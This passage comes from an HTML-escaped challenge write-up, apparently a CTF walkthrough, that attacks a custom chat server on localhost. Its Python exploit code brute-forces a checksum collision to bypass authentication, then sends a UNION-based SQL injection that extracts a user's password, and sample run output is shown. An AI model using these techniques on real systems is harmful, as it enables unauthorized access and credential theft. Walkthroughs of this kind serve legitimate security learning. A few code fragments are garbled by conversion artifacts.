        &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;encode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Send answer ...&amp;#39;&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;readMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;False&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mh"&gt;0xD34DB33F&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(((&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x7BF239A&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;^&lt;/span&gt;&lt;span class="mh"&gt;0x19A87F24&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;cs&lt;/span&gt;

&lt;span class="n"&gt;challenge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;794a4b635f716e464c584c6d765b7474715e6543&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;a&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;b&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;c&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;256&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
            &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%c%c%c%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mh"&gt;0xE1649BEC&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
                &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;
                &lt;span class="n"&gt;pwd&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="si"&gt;%c%c%c&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tryAuth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;john.adams&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;pwd&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
                    &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;Gotcha !  &amp;lt;&lt;/span&gt;&lt;span class="si"&gt;%02x%02x%02x&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;b&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;c&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
                    &lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Run this script against the server:&lt;/p&gt;
&lt;pre class="literal-block"&gt;
$ python authbypass.py
[+&amp;gt;`_ Sending authentication request, waiting for a challenge ...
`+] Got challenge: &amp;lt;QREOIapVMr^\yeJQ_Twp&amp;gt;
0309000000453446304130393100247fa819
[+] Send answer ...
Gotcha !  &amp;lt;0048f3
&lt;/pre&gt;
&lt;p&gt;Yippikaye, we found a valid collision !&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Time to rule 'em all !&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Okay, we are now authenticated on the remote server as John Adams, but his password is still missing and is required to decrypt the entire conversation. Even with a checksum collision, we will not be able to retrieve this password. We have to find another way to get this damned password.&lt;/p&gt;
&lt;p&gt;In the message processing function (4041CA), you may notice a particular message type that calls many functions to retrieve the last seen date of a given nick from the database:&lt;/p&gt;
&lt;p&gt;&amp;lt;emb146|center&amp;gt;&lt;/p&gt;
&lt;p&gt;This SQL query is not prepared and prone to an injection. We can abuse it to retrieve whatever we want, but we have to be authenticated to send this message, otherwise the server will not process it. Hurray, we previously found a way to fake an authentication, and this message does not seem to require encryption !&lt;/p&gt;
&lt;p&gt;Let's improve our exploit:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;socket&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;struct&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;unpack&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;toHex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;hx&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="n"&gt;hx&lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="nb"&gt;hex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="mh"&gt;0xFF&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="err"&gt;`&lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;rjust&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;upper&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="n"&gt;v&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;hx&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;readMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;op&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;size_&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;unpack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="n"&gt;size_&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;size_&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="n"&gt;checksum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;checksum&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;recv&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;ord&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;exploitSqli&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;127.0.0.1&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;2013&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# replay authentication request message&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Sending authentication request, waiting for a challenge ...&amp;#39;&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;010b0000006a6f686e2e6164616d7300247FA819&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;decode&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;hex&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="c1"&gt;# wait for a message&lt;/span&gt;
    &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;readMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# extract challenge&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;challenge&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;[:&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Got challenge: &lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;challenge&lt;/span&gt;
        &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;toHex&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;challenge&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&lt;/span&gt;&lt;span class="se"&gt;\x03\x09\x00\x00\x00&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt;
        &lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;[+] Send answer ...&amp;#39;&lt;/span&gt;
        &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;readMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="c1"&gt;# send last seen msg&lt;/span&gt;
            &lt;span class="n"&gt;payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;t&amp;#39; and 1=0 union select pwd FROM proto WHERE nick=&amp;#39;john.adams&amp;#39; #&lt;/span&gt;&lt;span class="se"&gt;\x00&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;
            &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\x07&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="nb"&gt;len&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;
            &lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;checksum&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;msg&lt;/span&gt; &lt;span class="o"&gt;+=&lt;/span&gt; &lt;span class="n"&gt;pack&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;&amp;lt;I&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;op&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="n"&gt;cs&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;readMsg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="c1"&gt;#print &amp;#39;[+] Got pwd: %s&amp;#39; % payload&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;payload&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
    &lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;tryAuth&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;s&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;AF_INET&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;socket&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;SOCK_STREAM&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
